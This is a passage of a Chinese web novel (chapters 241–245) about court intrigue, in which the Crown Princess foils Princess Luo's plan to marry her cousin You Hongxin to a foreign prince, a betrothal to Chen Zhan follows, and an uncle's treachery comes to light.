“我也不知道啊。”游宏馨不安地问她,“娘,你说我是去还是不去?不去的话,便是不把她放在眼中,她和梁王肯定会给裕丰侯府使绊子。可如果去的话,我又该说什么做什么?” 马氏也很是焦乱。 女儿从小就不怎么与外人接触,就算现在做了侯小姐,也不怎么和那些官家夫人小姐打交道。 那骆丽娴从魏永淮的女人做到太子良娣,现在更是尊贵的亲王妃,先不说其邀请女儿的目的为何,但从其为人品性来说,可就不是女儿能应付得了的! 突然,她双眼一亮,“有了!馨儿,她邀你,咱没办法拒绝,你去就是。我这就给你姑母传话,请她想办法!” 她说的姑母便是九姑。 游宏馨一听,立马有忧转笑,“对哦,我怎么把姑母忘了!姑母不但是将军府主母,还与太子的人熟识,请教她准没错!” “那你去准备吧,我这就派人去将军府!”马氏也不耽搁,赶紧去找管事。 …… 夜庚新每日都派人在城里转悠,给人感觉就是锲而不舍地寻人。 可实际上,九姑在府中闲得唉声叹气。 “也不知道太子妃的身子好些没有,她和芯儿都怀着身孕,外面的吃食能为她们补身吗?” “他们又不是孩童,还能饿着?”夜庚新哭笑不得地安慰她,“你就别为他们操心了,该回来的时候他们自然就回来了。” “竟说些招人厌的话!”九姑冲他翻了个白眼,然后扯着桌上的料子招呼他,“这是我让布庄送来的料子,你过来看看,哪些做小衣裳合适?太子妃和芯儿会喜欢吗?” “她们自己会准备,哪需要你做?”夜庚新剜了她一眼,不过还是起身走到她身侧,然后随手指了一块灰青色的布匹,“这个,给我做件袍子。” 九姑捏了捏拳头,想打人,“这是给你外孙和孙子挑的,你争个什么劲儿?” 夜庚新揽住她肩膀正想说什么,门外传来一声,“爹,你要争什么?” 听着熟悉的嗓音,九姑赶紧拉下夜庚新的手,欣喜不已地迎出去,“太子、太子妃,你们可算回来了!” 夜时舒拉着她的手,歉意地道,“九姑,让你担心了。” 九姑将她打量了一遍,再观她气色,虽然没发现病气,但还是关心地问道,“太子妃,身子可好了?有没有哪里不适?” 夜时舒笑道,“已经没有大碍了,不信你问太子,要是真有什么,他哪会让我乱跑!” 九姑朝尉迟凌看去,见尉迟凌点了点头,她这才彻底地安下心来。 见只有他们回来,她又问道,“大公子他们呢?怎么没一同回来?” “大哥和离瑶有事,暂时回不来。最近四明山附近出现了许多尉迟睿的人,二哥和二嫂乔装成附近的村民留意着他们动静呢。” 站在九姑身后的夜庚新沉声问道,“那山火当真是尉迟睿让人放的?” 夜时舒道,“你以为我们说笑?” 夜庚新厌恨道,“好个梁王,抓我女儿不说,还纵火烧山,涂炭生灵,真是罪大恶极!这次看他怎么死?” 正在这时,门房侍卫来报,“启禀将军,裕丰侯夫人差人来传话,说梁王妃邀侯小姐去紫琼山庄游玩。侯夫人担心侯小姐出事,想请夫人陪同侯小姐前去赴约。” 众人一听,都不约而同地变了脸。 骆丽娴邀请游宏馨去游玩,这不是摆明了有阴谋嘛! 夜时舒‘呵呵’冷笑,“骆丽娴真是当我死了,这次竟明目张胆地接近宏馨表姐!” 这些人也真是够卑鄙的,上次从范家祖孙下手,这次又打游家的主意,凡事她亲戚,他们都没打算放过。 九姑转身对夜庚新说道,“将军,宏馨那孩子太单纯了,若是骆丽娴使计,宏馨根本不是她的对手,我想在就去紫琼山庄帮她!” “九姑,我和殿下也去!” “太子妃,你怀着身孕就别去了,何况您和殿下现在还不适合露面。”九姑摇头反对。 “你明着去,我和殿下偷着去。放心,不会被人发现的。”夜时舒说完,拉着尉迟凌就闪人,生怕被拦下。 看着女儿又往外跑,夜庚新自然也不放心,于是说道,“九姑,我也去。正好,我都没去过紫琼山庄,也不知那地方有何玩的?” …… 紫琼山庄。 游宏馨带着丫鬟刚到山庄大门,便被一陌生婆子拦下。 “游小姐,我们王妃正等着你呢,请跟我来。” “有劳了。”游宏馨看她的眼神带着一丝怯意,但又不得不跟她去。 不多时,婆子带她上了二楼,进了一间雅室。 一进门,游宏馨就僵住脚。 室内除了骆丽娴外,还有一名玉冠锦袍的男子。 上次她去宫宴时见过,骆丽娴的兄长,北蔺国四皇子莫千骁。 “游小姐,愣着作甚啊?快过来!” 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第241章 要她做和亲公主 游宏馨低着头小心翼翼地朝她走过去。 “小女拜见梁王妃、拜见四皇子。” 骆丽娴从座起身,上前扶起她,笑得又温柔又亲切,“馨儿表姐,我们等你多时了,快坐下。这些酒菜都是特意为你点的,你快尝尝可合胃口?” 游宏馨紧张地摆手,“梁王妃使不得,小女身份卑微,岂敢与您和四皇子同席?您这样会折煞小女的!” “馨儿表姐,你别妄自菲薄。”骆丽娴强拉着她到桌边,按着她肩膀坐下,柔声说道,“太子妃是我皇嫂,你是太子妃的表姐,那也就是我的表姐,既是姐妹,那一同用膳有何不妥?” 游宏馨双肩被她强压着,只能妥协。 骆丽娴在她身侧的位置落座,殷勤地为她布了几筷子菜,又为她斟酒,然后举杯向她,“馨儿表姐,以前我只是梁王的妾,上不得台面,不敢同你攀亲。今日邀你来此,就是想与你多熟识,结个手帕之情,还请馨儿表姐不要嫌弃我卑贱的过往。” “梁王妃言重了,小女不敢。”游宏馨起身再次摆手。 “哎,馨儿表姐,你别如此惊颤,我可是带着十足诚意的,您若不答应,莫非是看不起我不堪的过往,觉得我不配与你攀亲?”骆丽娴娇嗔道。 “小女……” 游宏馨还要摆手,骆丽娴也跟着起身,并将为她斟的酒硬塞到她手中,“馨儿表姐就赏个脸饮了这杯吧,一会儿我还有事求你呢,你若是不喝,我都不好意思再同你说话了。” 游宏馨实在推拒不了,只能硬着头皮抿了一口。 骆丽娴见她喝了,便又亲切地拉她坐下,热情催促,“馨儿表姐,快尝尝我为你夹的菜,若是不合胃口,我立马叫人换过。” 游宏馨不想多喝酒,于是这次没有推拒,顺从地拿起筷子。 看她把碗里的菜都吃了下去,骆丽娴不由地同桌对面的莫千骁对视了一眼,彼此眼中都带着满意。 骆丽娴接着又热情地为游宏馨添了几筷子肉片,然后说道,“馨儿表姐,这次冒昧邀你出来,是有一件事想同你商议。” 游宏馨立即放下筷子,正襟危坐,腼腆地道,“梁王妃,商议不敢,您有何事只管交代,若小女能做到的,自然愿意为您效劳。” 骆丽娴笑了笑,“既然你都这样说了,那我也就不支支吾吾了。我四皇兄这次来大邺国,是奉了我们父皇之命来大邺国挑选和亲对象的。只是尉迟家的公主,三公主出嫁舰峡关,其余公主年岁尚小,都不到婚配之龄。那日宫宴上,我四皇兄看中了馨儿表姐你,娶你为北蔺国的四皇子妃。” 游宏馨惊诧不已地朝对面的男人看去。 莫千骁冲她笑着,一口白牙明朗炫目,眉眼亦是和煦如阳,加上他一身尊贵不凡的气质,宛如天神下凡俊美得不可方物。 “我……”她赶紧低下头,惶恐不安地朝骆丽娴说道,“梁王妃,小女不敢……四皇子丰神俊逸,高贵不可亵渎,而我出身落魄侯府,岂敢肖想四皇子妃之位?您万万开不得这样的玩笑啊!” “馨儿表姐!”骆丽娴倾身拉住她的手,亲切地哄道,“你别担心自己配不上我四皇兄,只要你愿意,我四皇兄随时可进宫向皇上表明心意,让皇上封你为公主。到时你以公主之名与我四皇兄和亲,岂不美哉?” “可是……” 不等游宏馨再反对,桌对面的莫千骁突然沉声问道,“游小姐,莫非你看不上本皇子,觉得本皇子不配做你的夫婿,所以想找诸多借口拒绝本皇子?” 游宏馨抬头再看向他。 只见他冷着脸,明显对她很是不满。 正在这时,门外传来紫琼山庄伙计的声音,“启禀梁王妃,御史陈大人的公子求见。” 骆丽娴眉头微蹙。 御史陈正康她听说过,可他儿子,她并不认识。 她朝莫千骁看去,想看看莫千骁的意思。 莫千骁眼中也有疑惑,但还是给她使了个眼色,同意她把人放进来。 骆丽娴得到暗示,朝门外回道,“让他进来吧!” 房门被推开。 身着湛蓝色锦袍男子走了进来。 “小人陈湛拜见梁王妃、拜见四皇子殿下。” 看着彬彬有礼的他,骆丽娴微笑着问道,“你是陈御史的公子?不知来找我们有何要事?” 陈湛直起身,先看了一眼桌边低着头的游宏馨,然后回道,“回王妃,小人无意打扰你们用膳,只是听说馨儿在此,小人怕她不懂规矩,冲撞了您和四皇子殿下,故而前来接她。” 不说他这话中有几分关切,就一声‘馨儿’便让骆丽娴和莫千骁变了脸。 包括游宏馨,起身错愕不解地看着他。 陈御史的公子她听说过,但他们从未见过面,不知对方为何对她如此亲昵? 不过,这陈公子长得浓眉大眼,相貌堂堂,俊朗出挑。最重要的是,在面对梁王妃和北蔺国四皇子时,他竟温文尔雅、从容不迫,真不亏是御史家的公子,沉稳大气。 而面对她时,陈湛也完全没有陌生感,还快速地朝她眨了一只眼。 游宏馨只觉得脸颊发烫,赶紧低下了头。 骆丽娴冷着脸问道,“陈公子,你与游小姐是何关系?” 陈湛回道,“回王妃,小人与馨儿已定下婚约,馨儿是小人未过门的妻子。” 第242章 你这样会不会不太礼貌? “什么?”骆丽娴脸色更难看了,直接朝游宏馨瞪去,“游小姐,本王妃可是专程派人打听过,你不曾与人议过亲,这陈公子何时与你有婚约了?” “小女……”游宏馨转身面向她,紧张得整个人都有些哆嗦,她压根就不知道怎么回事…… “回王妃,您有所不知,小人与馨儿的婚事是昨日双方父母谈妥的,致和将军夫人保的媒。只因馨儿的兄长前不久受了伤,侯爷和侯夫人想等他伤势痊愈后再宣布此消息,故而便没告知馨儿。”陈湛主动解释道。 说完,他从袖中取出一块玉佩,“这是双方父母议亲时交换的信物。” 游宏馨抬头一看,惊呼道,“这是我祖父留给我父亲的玉佩!” 骆丽娴气得险些拍桌。 莫千骁脸色阴沉,比她好看不了多少,不过他却开口制止了骆丽娴的冲动,“皇妹,既然游小姐已有婚配,那是本皇子与她无缘。” 他都开口了,骆丽娴还能说什么? 只能气呼呼地把陈湛和游宏馨瞪着。 陈湛将玉佩收好,拱手作礼,歉意地说道,“王妃,小人与馨儿还有约,我们就不打扰您与四皇子用膳了。” 说完,他握住游宏馨的手腕,将游宏馨带出雅室。 骆丽娴望着他们离开的背影,忍不住咬紧后牙。 “这陈湛肯定是故意的!好个陈御史,竟然纵容儿子坏我们好事!” 莫千骁冷冷地斜了她一眼,“他有信物,说明婚事做不得假,你再生气又有何用?” 骆丽娴不甘心地问他,“四皇兄,难道你想就这么算了?您要知道裕丰侯府与夜家最亲,我们要牵制住夜家军,从侯府下手才最有胜算!” 莫千骁又斜了她一眼,“裕丰侯府也不是只有游宏馨可利用。” 骆丽娴想了想,很快便明白了他的意思,遂笑道,“皇兄提醒得是,我知道该如何做了。” …… 再说另一头。 游宏馨被陈湛带出二楼雅室后,又被他带上了三楼。 进了最边上的一间雅室后,陈湛主动放开游宏馨的手腕,作揖赔礼道,“游小姐,在下并非有意损你名节,只是受太子妃所托,不得不如此帮你解围。” “太子妃?”游宏馨虽满脸通红,但听到夜时舒的消息,她脸上的惊喜压过了羞赧,“她在哪?她现在可好?” 陈湛道,“太子妃得到消息,猜到梁王妃对你有所图谋,便差人去侯府取了侯爷的玉佩送来紫琼山庄,托在下务必将你从梁王妃身边带离。如果在下猜得不错,太子妃应该就在紫琼山庄内,只是现下不方便露面。” 游宏馨仔细一想,宫里都没有传出太子妃的消息,那太子妃现在的行踪肯定是秘密。 不管出于什么原因,她只需要知道一点,太子妃已经获救,且安然无恙,这便是大喜事! 看了一眼陈湛俊朗的脸,她红着脸对他福身,“今日多谢陈公子解围,改日定让家父亲自上门谢恩。” 陈湛扶起她,盯着她红彤彤地俏脸看了看,笑说道,“游小姐无需见外。你且在此休息,稍后会有人来接你。在下还有事,先失陪了。” “嗯。”游宏馨感恩地目送他离去。 关上房门后,她打量起雅室,发现比楼下的雅室更雅致更奢华。 正欣赏着,突然房门被人叩响。 她赶紧去开门。 见到门外的人,顿时又惊又喜,“姑父、姑母、娘……你们怎么都来了?” 马氏先进门,拉着她上下查看,紧张地问道,“馨儿,梁王妃没为难你吧?” 游宏馨见九姑关上了门,便主动与他们说起骆丽娴邀她出来的目的。 听完后,夜庚新忍不住冷哼,“他们可真是好算计!上一次收买范云莹,这一次竟敢把注意打到你身上,真是该死!” 游宏馨红着脸道,“姑父,您别生气,我是不可能出卖太子和太子妃的。而且陈公子及时出现,替我化解了一切,他们应该不会再打我主意了。” 马氏好奇地问道,“陈公子?哪个陈公子?” 游宏馨羞赧地低下头,“就是御史大人家的陈公子。他对梁王妃说您和爹昨日与他家商定了婚事,还给梁王妃看了祖父给父亲的玉佩,说是两家定亲的信物,梁王妃信以为真才没有再为难我。” 马氏一听,顿时悟道,“难怪太子妃派人去侯府要东西,还说越贵重越好,原来是这般作用。” 九姑看着游宏馨羞赧的脸蛋,忍不住扯了扯夜庚新的衣袖。 夜庚新瞬间明白过来,于是打趣地问游宏馨,“馨儿,你觉得那陈公子如何?” 不等游宏馨回话,马氏便笑说道,“将军,您就别打趣她了,陈公子可不是馨儿配得上的。人家帮了馨儿,咱可不能起那些不该有的心思。” 闻言,夜庚新板起脸道,“馨儿哪里配不上了?先不说你们夫妻现在接掌了侯府,就凭馨儿是太子妃的表姐,他陈家也不敢轻视馨儿半分!何况宏泽今年有望科举进甲,要是他拔得头筹,他陈湛娶馨儿还是他高攀了呢!” 马氏哭笑不得。 从前游建彬和温氏当侯府家时,他们一家四口只想安稳地过自己的小日子,与权贵结亲,他们做梦都不敢想。 现在把她们一家四口捧这么高,她只觉得别扭,担不起。 见母亲尴尬,游宏馨也赶紧说道,“姑父,馨儿平平无奇,的确配不上陈公子。您就别打趣馨儿了,万一让人听了去,会让陈公子为难的。” 夜庚新朝九姑看去。 九姑笑着给他使眼色,找机会去他们去陈家探探,要是陈家没意见,说不定这亲事真能成。 阁楼中。 夜时舒一边吃着茶水点心一边听陈湛向尉迟凌汇报情况。 得知游宏馨已无事她就放心了。 “殿下,若无别的事,小的先告退了。” “陈公子且慢。”见陈湛要走,夜时舒突然出声唤住他。 “太子妃有何吩咐?”陈湛躬身面朝她。 “我不是让人给了你游家的玉佩吗?” 陈湛从袖中取出玉佩。 不过他没有交换给夜时舒,而是握着玉佩冲夜时舒笑了笑,“太子妃,小的已经收了信物,岂有归还的道理?” 夜时舒先是一愣,接着不确定地问道,“你什么意思?” 陈湛突然朝她和尉迟凌跪下,郑重一拜,“多谢太子和太子妃为小的赐婚!” 噗! 夜时舒忍不住喷笑,“陈公子,你这样会不会不太礼貌?” 就连一旁的尉迟凌都忍不住勾起唇角。 然而陈湛一点都没有不好意思,还义正严词地道,“小的虽然是奉命帮游小姐化解危机,可也搭上了小的名节,太子和太子妃可一定要为小的做主,不然小的没脸回去向家父交代。” 第243章 不弄死他,我跟他姓 先前他说‘赐婚’的时候,夜时舒以为他是在开玩笑。 现在他这一跪,夜时舒的笑戛然而止,不可置信地看着他,“陈公子,你来真的?” 陈湛见她不信,忙向尉迟凌哀求道,“殿下,太子妃她不了解小的,您可是了解的,小的可从来不敢对您撒谎啊!” 尉迟凌清了清嗓子,把唇角的笑收了起来,对夜时舒说道,“舒儿,想来他是认真的。” 夜时舒沉默起来。 陈湛不是第一次帮他们做事了。 今日来的路上她就问过尉迟凌,为何对陈湛如此信任。然后得知,尉迟凌和陈湛自小就是玩伴,曾一同拜师大学士,求学的那七八年间,他们朝夕相处、情同手足,陈家对尉迟凌也是诸多照顾。 只是后来尉迟凌从军了,为了陈家不被尉迟睿针对,明面上他们便不再往来。 紫琼山庄虽说是尉迟凌的,但陈湛在庄里混得如鱼得水,就是因为两人私交甚铁。 “太子妃……” 见陈湛还要向自己求情,夜时舒抬手打断他的话,也认真同他说道,“你是殿下的好友,那你的人品我信得过。只是婚姻大事也不能我们说了算,我得问问我宏馨表姐的意思。她若不愿意,我也不能逼迫舅舅和舅母嫁女,你说是吧?” 陈湛点头,“那就有劳太子妃帮小的问问,小的尊重游小姐的决定。” 夜时舒默默地打量他,心里其实已有七八分定断了。 陈湛父亲陈正康做了十来年御史,同她爹一样是正派的保皇派,深受皇上信任。而陈湛跟着她男人混,将来必定要受器重的。 这么一个既有家世背景又有前途的男子,她宏馨表姐嫁给他,以后不知要被多少人羡慕。 而且游陈两家结亲,对大家都有益。 “行,那晚些时候我和殿下去一趟侯府。” “谢太子妃!”陈湛嘴角都快咧到耳后了,“若没别的事,小的就先退下了。” 待他离开后。 夜时舒不解地问尉迟凌,“他同你年岁相仿,为何一直没娶亲?” 尉迟凌含笑道,“早前朝中多是尉迟睿的拥趸者,陈大人不愿与他们结党,自然就瞧不上他们家的女儿。陈湛也知轻重,担心一个不慎把他爹‘赔进去’,所以到今时也没与人议过亲。” “原来是这样。”夜时舒恍然大悟。 如果陈家与尉迟睿的党羽结了亲,今时今日必定处境尴尬。 这父子俩还真是够有远见的! …… 夜幕降临后,他们夫妻悄悄去了裕丰侯府。 看到他们从天而降,游建川和马氏喜出望外。 面对他们关切的询问,夜时舒一一作了答,然后安慰他们,“二舅舅、二舅母,你们不用担心我们,我们很好。我们这次来,是受人所托来给宏馨表姐说亲的。” “说亲?”老两口一脸懵,什么大人物值得他们帮忙说亲? “二舅母,你去把宏馨表姐叫过来吧,等她来了我们再谈。” “哦哦。” 马氏虽然满头疑惑,但还是悄悄地去了女儿院中把人叫了过来。 等游宏馨一到,夜时舒也没再支支吾吾,直接道明了陈湛的意思。 游宏馨瞬间红了脸。 游建川和马氏则是面面相觑,仿佛被榔头敲了脑袋,完全不知所措。 “太子妃,你说的是真的?真是陈公子要娶我们馨儿?”马氏回过神,不敢置信地向夜时舒确认,“陈家在朝中有权有势,陈公子如何瞧上我们馨儿的?今日陈公子确实是帮我们馨儿解了围,我们很是感激,但这婚事我们哪高攀得起?” 他们侯府现在就是个挂了名的落魄侯府,平日里谨小慎微的,只求能保住这座府邸,真没想过要攀附朝中权贵。 夜时舒听着她妄自菲薄的话,有点哭笑不得。 “二舅母,你们也不要看轻自己,好歹我也是堂堂的太子妃,宏馨表姐是我亲表姐,陈家与游家结亲,不是你们高攀,是陈湛有眼光。”她随即朝游宏馨看去,挤了挤眼,“表姐,你说呢?陈公子请我们来,只听你的意见。” 游宏馨脸蛋红透了,看了一眼身侧的爹娘,然后羞赧地道,“太子妃,你替我做主吧。” 夜时舒笑道,“那我就替你应下了哦!” “嗯。”游宏馨低下头没好意思看他们。 “那这事就这么定了。”夜时舒朝游建川和马氏说道,“二舅舅、二舅母,你们就等着陈家上门提亲吧。我和殿下去看看宏泽表哥,你们别跟着,免得被府里的人发现。看完表哥我们就走,你们早些休息。” 他们虽然不在京城,但尉迟凌调派了华湘阁擅长接骨的弟子为游宏泽治伤,好让他尽早痊愈不耽误即将到来的科考。 目送他们夫妻离开后,游建川和马氏就跟做梦似的,还是有些不敢相信这样的好事竟然落在了他们女儿身上。 “馨儿,你今日见过陈公子了,你对他印象如何?”马氏拉着女儿询问起来。 游宏馨虽然不好意思,但还是点头回道,“陈公子他……极好的。” 看女儿的神情,明显是动了心。 夫妻俩相视着,都忍不住开心。 而另一边。 夜时舒和尉迟凌去看过游宏泽后,正准备离开侯府。 他们刚飞上高墙,突然发现墙下一个人影鬼鬼祟祟的。 夜时舒仔细地多看了一眼,竟发现此人不是别人,而是她那个大舅舅游建彬! 游建彬显然是刚出的侯府,正贴着外墙快速远去,而且边走边回头,生怕被人跟上了似的。 夫妻俩没吱声,暗暗地跟着他,想看看他大半夜的究竟要干什么事。 约莫过了两刻钟,游建彬进了一条窄巷,消失在最尽头的宅子里。 夜时舒还想跟近,突然被尉迟凌拦下,“我去。” 语毕,他快速朝那处宅子飞去。 夜时舒也不敢轻举妄动,毕竟她现在是孕妇,有尉迟凌陪着到处飞是没什么,但如果要与人交手,她就得顾及肚子,还会让尉迟凌分心。 而尉迟凌只去了片刻就回到她身边,然后一言不发带着她离开了窄巷。 确定安全以后,他才停下,告诉她,“那宅子里有麒麟卫。” 麒麟卫,是尉迟睿秘密培养的暗手。 曾经还追杀过夜时舒,导致夜时舒不得不跳护城河逃命。 “游建彬这狗东西,竟跟尉迟睿勾结!之前饶他一命,真是浪费了我们的仁慈!” “那舒儿想如何解决他?”尉迟凌宠溺地问道。 “我已经想到对付他的办法了。不过先不急,先派人盯着他,看他接下来要做什么。”夜时舒胸有成竹地笑了笑,“这次不弄死他,我跟他姓!” 第244章 只有他们全死了,他才能重获侯位! 虽然有夜时舒亲自为陈湛说媒,但游建川和马氏没想到陈家第二天就将聘礼送到了裕丰侯府。 三大马车的聘礼,让他们夫妻二人眼都看直了。 曾经他们被游建彬和温氏这对大哥大嫂打压着,自己做点小本买卖才能过活,这三大马车的聘礼,比他们一辈子赚的都多了不知道多少倍。 陈湛亲自将聘礼单呈到他们夫妻面前,“侯爷、夫人,这是晚辈的一点心意,你们请过目。” 游建川颤抖地接过礼单。 马氏激动地道,“陈公子,我们馨儿上辈子不知道修了多大的福分才能得您看中,如此厚重的聘礼,我们真是受宠若惊。” 陈湛笑着道,“侯爷、夫人,以后都是一家人了,你们就叫我阿湛吧。这些聘礼只是我对馨儿的一点心意,还请你们笑纳。你们放心,我既决定娶馨儿为妻,自会一心一意待她。” 有尉迟凌和夜时舒亲自说的媒,谁敢怠慢这门亲事?游建川和马氏自然是再放心不过! “阿湛,里面请,我这就让人去把馨儿叫出来!”游建川虽然不好意思,但还是改了口亲切地唤他。 正在这时。 游建彬从外面回来。 见院里摆满了箱笼礼盒,且都披红挂彩的,忙上前问道,“二弟,这是怎么回事?”突然他看清楚了游建川和马氏面前的年轻男子,惊讶道,“这不是陈公子吗,你怎么来侯府了?” 陈湛转身向他行了个晚辈礼,“见过游大伯。” 以前他是裕丰侯,现在只是游家大爷,以陈湛和游宏馨的婚事,的确该唤他大伯。 可游建彬脸色却不怎么好看,又问游建川,“到底怎么回事?” 游建川不好意思地回道,“大哥,陈公子要娶馨儿,今日特来下聘的。” 闻言,游建彬转身再看向那一堆堆丰厚的箱笼礼盒,眼中不禁露出羡慕和嫉恨。 游建川家的赔钱货竟然被御史家的公子看上…… 凭什么? 想他候位在身时,他女儿却只能嫁给魏永淮那一无是处的东西!她女儿哪里比不过游宏馨那小贱人了? 这些人,真该死! 梁王只要他帮忙对付夜庚新,依他看,游建川和马氏,以及他们生的那两个孽种都应该一起下地狱! 只有他们全死了,他才能重获候位! 收起眼中的阴狠,他又转身面向游建川,笑着说道,“二弟,后日便是我生辰,我能否在府中设宴,顺便把将军也请来,咱们一起聚聚热闹热闹?” 游建川和马氏交换了一下眼神,的确后日是他生辰,他要设家宴,这要求也不过分。 “大哥,你放心吧,我会让人去准备食材的。”马氏应道。 “那就有劳弟妹张罗了。”游建彬罕见地同她客气起来,然后又对陈湛说道,“陈公子,你们有要事相谈,那我就不打扰你们了,失陪。” 陈湛作揖送他。 待游建彬走远后,游建川邀道,“阿湛,后日你也来府中坐坐吧。” 陈湛也没推拒,大大方方应道,“好。” …… 夜时舒和尉迟凌暂时藏在将军府中。 因为四明山的山火还没熄灭,夜庚新有些坐不住,“舒儿,你确定你大哥不会出事?那山火都快把山烧秃了,就算他们在山里有地方可躲,可吃什么喝什么?” “爹,大哥早就给我们发了信号,他和离瑶带着那些手下早就出了四明山,您就放心吧。尉迟睿和莫千骁现在正是最警觉的时候,我们不敢派人去接大哥,是怕被人跟踪,反而不利大哥他们回城。” “那就好那就好……”夜庚新狠狠地舒了口气。 “将军。”九姑从门外进来,将一份请柬递给他,“游建彬生辰,要办家宴,邀你前去。” 夜庚新没好气地道,“现在是多事之秋,他办什么宴?当所有人跟他一眼闲得没事可做?” 夜时舒过去,从他手中拿过请柬,笑着道,“爹,这生辰宴您必须得去。您不去,我就没正当理由弄死他。” “什么意思?”夜庚新疑惑不解地看着女儿。 “游建彬私下已经和尉迟睿勾结上了,这次生辰宴,十有八九是冲您来的。正好,殿下想‘收网’了,咱们将计就计,借此机会把尉迟睿一块办了。” “冲我来的?”夜庚新不禁皱起眉。 “爹,现在外面都知道我失踪了,太子因为寻我也不知所踪。在尉迟睿看来,我失踪已经牢牢地牵制住了太子。现在兵势最强的就是你了,你那数万人在城外驻扎了那么久,不把你解决了,尉迟睿如何造反?” 夜庚新双手紧抓着大椅扶手。 尉迟睿贼心不死他是知道的,但他以为尉迟睿只是想夺回太子之位,从没想过他会造反。 可这种事,他不能心怀侥幸,拿大邺国江山社稷去赌尉迟睿的良知,后果别说他承担不起,就是加上列祖列宗都承担不起! “爹。”夜时舒拍了拍他青筋浮现的手背,“您别担心,女儿已经想到办法了。现在除了您的安危外,您身上那块牌子才是最重要的。趁着还有一日的功夫,赶紧让人仿造,而且最好是多仿造两块。既然要陪他们玩,那就得玩尽兴,您说是不?” 夜庚新没好气地剜了她一眼,“你当兵符是菜市口的大白菜,想要多少就多少?多的没有,就前些年为了防人惦记,我备了两块!” 闻言。 夜时舒笑道,“够了!” …… 裕丰侯府。 今日游建彬生辰,作为现任的侯府主母,马氏还是把他的生辰宴准备得极为丰盛。 许久没露面的游清柔也现身了。 只是比起曾经的高傲,如今的她再不复光鲜亮丽,整个人戾气沉沉的,那眼神看什么都透着一股尖利。 陈湛早早地来了侯府。 游建川有意让女儿和他培养感情,便让女儿带他去花园里走走。 二人隔着几步之遥的距离一前一后刚到花园,就遇到来主院的游清柔。 “堂姐。”游宏馨礼貌地招呼她。 “听说你和陈公子订婚了?”游清柔嘴上说着话,目光却是阴仄仄地盯着游宏馨身后的陈湛,“堂妹真是好福气,咱们侯府落魄成这样,居然还能被陈公子看上。” 游宏馨不语。 以前游清柔高高在上总是欺压她,说她们是堂姐妹,可在她心中,她们连陌生人都不如。 陈湛上前,站在她身侧,对游清柔说道,“游大小姐说错了,馨儿人美心善,从不对任何人使坏心眼。俗话说娶妻娶贤,能娶到馨儿,是在下的福气。” 游清柔目光一沉,“陈公子对我堂妹了解多少,你怎知她没坏心眼?” 她实在愤恨不平。 游宏馨这个窝囊废,竟然会被人夸赞! 陈湛看了一眼身侧的游宏馨,笑说道,“在下虽不才,但也会看些面相。有些人啊作恶多端都不带脸红,可见心肠之歹毒。而有些人被夸赞几句便不好意思,可见其心思之单纯。游大小姐,你说我如此看人,可准?” 第245章 将来登相入阁都不成问题! “你!”游清柔铁青着脸恶狠狠地瞪着他,“姓陈的,你以为自己有多好,你也不过是个浪荡公子罢了!” 接着她又扭曲着冲游宏馨说道,“游宏馨,别以为你高嫁了就能踩到我头上,你不过是这浪荡公子的玩物而已,早晚你也会像我一样成为残花败柳!” 许是见陈湛脸色变了,她转身就往花园外跑。 游宏馨怨怒地瞪着她跑远的方向,拳头捏着,头一次生出了想打人的冲动。 “馨儿,不要把她的话听进去,她就是见不得你比她好,故意挑拨我们的。”陈湛很快冷静下来。 游宏馨抬头看着他,紧紧地抿了抿唇后,鼓起勇气问道,“陈公子,京城世家的贵女配得上你的大有人在,为何你要选择我?” 陈湛突然‘呵’地笑出声,“你最自己就如此没自信?” “我……”游宏馨不明白他这笑声是什么意思,红着脸不知该如何接话。 “其实也没什么好隐瞒的。”陈湛爽朗地笑着,语气更是从容坦荡,“我爹做了十几年御史,私下里我也在帮他做事。别说朝堂里那些人的情况,就是京城那条街有几只猫、几条狗我都一清二楚。” “你说的也没错,京城那么多世家贵女,配我的大有人在,可我为何至今未娶,不过是我太了解她们了。” “大家世族的女子虽多,也不乏佼佼者,可没几个的婚配是不掺杂家族利益的。你见有谁把自家精心栽培的女儿嫁布衣的?” “我这人对枕边人可是很挑剔的,枕边人就是枕边人,但凡权衡利弊的同我谈婚论嫁的,我都伺候不来。” 他说这么说,突然朝游宏馨倾身,并低下头凝视着她,“我如此解释,你可懂?” “我……”男性的气息突然扑面而来,吓得游宏馨连退了两步,脸颊更是红得快滴血了,“我……我不图你什么……可是我也会有心眼子……是人都有……” 陈湛看她受惊,也没再吓她,只笑道,“太子让我去为你解围,便是有心为你我牵线。我相信他,不会乱点鸳鸯谱,更不可能拿太子妃在乎的表姐开玩笑。如此说,你还会质疑我的动机吗?至于你说的你有心眼子,就你连与人吵个架都不会,说心眼,你也是缺心眼。” 游宏馨心下惊讶不已。 没想到是太子殿下暗中为他们牵线…… 等等! 他后面说她什么? 从惊讶中回过神,她涨红着脸嗔恼,“你才缺心眼!说话就说话,你怎么还骂人呢!” “哈哈!”陈湛失声大笑,“好好好……是我言语不当,我向馨儿赔礼!” 说完,他真向游宏馨拱手鞠躬起来。 游宏馨总觉得他在拿她取乐,可一想到他们结亲是太子殿下应允了的,她想不满都不敢表露。 “咳!”陈湛确实有几分逗她的意思,但也不敢真把她惹生气了,清了清嗓子后,他言语神色都认真了起来,“我父母对我们的婚事很满意,今日出门时,母亲让我转话给你,想邀你去府上坐坐。” 游宏馨愣住,然后羞赧地低下头,“我们这样……会不会太快了?” 陈湛又笑说道,“收了聘礼、换了庚帖,还怕人说闲话不成?再说我也老大不小了,家里巴不得我们婚期定在明日。之前我们与侯府来往不多,彼此都不太熟悉,我们成婚前多走动走动,也是有好处的。” 游宏馨犹豫了片刻,红着脸点头,“那好吧。” “那我明日来接你。” “嗯。” …… 今日游建彬是寿星,穿戴虽不及侯位在身时富贵,但许久也没这般精神焕发了。 听说夜庚新到了,还满面笑容地亲自去门口迎接。 “大舅舅,生辰安康。” 看着嬉皮笑脸的夜时竣,游建彬脸上的笑僵了一下,“时竣也来了?听说你们去找太子妃了,可是找着了?” 夜时竣收起笑,叹了口气,“还没小妹的消息,大哥和太子他们还在外头寻找呢。只是听说大舅舅今日生辰,我才特意回来的。” 游建彬也陪着叹了口气,“希望太子妃能平安回来。” 游建川及时岔开话题,对夜庚新和九姑引道,“将军、夫人,都别在这里站着了,快里面请。” 夜庚新带着九姑走在前面。 夜时竣和顾思沫手中各捧着一个礼盒走在最后,一边走一边交换眼神。 路过花园时,正遇见陈湛和游宏馨。 夜庚新看着郎才女貌的他们,笑道,“你们的婚事我听说了,就等着你们挑好日子喝喜酒了,可别让我们等太久哦。” 